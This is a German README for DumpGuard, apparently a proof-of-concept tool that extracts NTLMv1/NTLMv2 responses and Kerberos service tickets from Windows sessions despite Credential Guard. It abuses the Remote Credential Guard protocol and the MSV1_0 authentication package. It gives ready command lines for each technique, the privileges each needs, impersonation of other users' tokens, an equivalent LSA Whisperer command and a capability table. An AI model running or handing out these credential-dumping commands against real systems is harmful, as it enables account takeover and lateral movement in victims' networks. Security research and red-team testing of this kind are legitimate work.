
Proof-of-Concept-Tool zum Extrahieren von Anmeldeinformationen aus geschützten Sitzungen auf modernen Windows-Systemen.

DumpGuard ist ein Tool zur Gewinnung von Anmeldedaten und zur Protokollforschung für moderne Windows-Systeme. Es missbraucht das Remote Credential Guard-Protokoll, um Anmeldeinformationen wiederherzustellen, selbst wenn Credential Guard aktiviert ist, und enthält zudem einen Microsoft v1-Authentifizierungspaketpfad für die sitzungsorientierte NTLM-Extraktion.
Die aktuellen Funktionen umfassen:
Vorgefertigte Kopien können Sie aus dem Release-Bereich dieses Repositorys herunterladen.
Haftungsausschluss: Dieses Tool wird ausschließlich zu Bildungs- und legitimen Testzwecken bereitgestellt. Der Autor dieses Repositorys befürwortet oder unterstützt keinerlei Missbrauch und übernimmt keine Verantwortung für Schäden oder rechtliche Konsequenzen, die durch die Nutzung dieses Tools entstehen.
Die folgende Tabelle fasst die derzeit implementierten Techniken zusammen.
DumpGuard verwendet ein command- plus target-Modell.
command wählt die Extraktionstechnik aus.target wählt aus, ob auf der aktuellen Session oder durch Aufzählen aller Sessions gearbeitet werden soll.Unterstützte Befehle:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10Unterstützte Ziele:
/target:self/target:allAllgemeine Remote Credential Guard-Parameter:
/domain:<DOMAIN>/username:<SAMACCOUNTNAME>/password:<PASSWORD>/spn:<SPN>Kerberos TGS-Parameter:
/tgsdomain:<DOMAIN>/tgsspn:<SPN>Wird /spn bei einem Computerkonto weggelassen, verwendet DumpGuard standardmäßig HOST/<computername>.
Um Anmeldeinformationen des aktuellen Benutzers aus einem nicht privilegierten Kontext zu extrahieren, authentifiziert sich DumpGuard mit Remote Credential Guard an einem SPN-fähigen Konto und sendet dann Folgeanfragen über den etablierten Sicherheitskontext.
Dies funktioniert unabhängig vom Zustand von Credential Guard, erfordert jedoch Anmeldeinformationen für ein SPN-fähiges Konto.
Berechtigungsanforderung: Keine.
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
Wird /tgsdomain weggelassen, wird standardmäßig der Wert von /domain aus Remote Credential Guard verwendet.
Um Anmeldeinformationen aller aktuell zugänglichen Benutzer aus einem privilegierten Kontext zu extrahieren, wechselt DumpGuard Token von laufenden Prozessen, authentifiziert sich mit Remote Credential Guard an einem SPN-fähigen Konto und sendet dann Folgeanfragen über den etablierten Sicherheitskontext.
Dies funktioniert unabhängig vom Zustand von Credential Guard, erfordert jedoch Anmeldeinformationen für ein SPN-fähiges Konto.
Berechtigungsanforderung: SYSTEM oder Administrator (erfordert SeImpersonatePrivilege).
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>
Wird /tgsdomain weggelassen, wird standardmäßig der Wert von /domain aus Remote Credential Guard verwendet.
Um NTLM-Antworten für derzeit angemeldete Benutzer aus einem privilegierten SYSTEM-Kontext zu extrahieren, interagiert DumpGuard direkt mit dem NTLM SSP und fordert Challenge-Responses für jede entdeckte Anmeldesitzung an.
Dies funktioniert nur unter den folgenden Bedingungen:
Berechtigungsanforderung: SYSTEM (erfordert SeTcbPrivilege).
DumpGuard.exe /command:msv10
Dieser Angriff kann auch mit LSA Whisperer wie folgt durchgeführt werden:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {session id} --challenge {challenge to clients} [flags...]
Ich habe die von Credential Guard (LsaIso.exe) bereitgestellten Schnittstellen reverse engineered und nachgebildet und sie in dieses Repository aufgenommen – für alle, die an weiterführender Forschung interessiert sind.
Stand Oktober 2025 sind folgende Schnittstellen implementiert:
Vielen Dank an SpecterOps für die Unterstützung dieser Forschung und an meine Kollegen, die bei der Entwicklung geholfen haben.
| Technik | Befehl | Erfordert SYSTEM | Erfordert SPN-Konto | Kann Credential Guard dumpen |
|---|
| NTLMv1 extrahieren via Remote Credential Guard | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| NTLMv2 extrahieren via Remote Credential Guard | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| Kerberos TGS extrahieren via Remote Credential Guard | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| NTLMv1 extrahieren via Microsoft v1-Authentifizierungspaket | msv10 | ✅ | ❌ | ❌ |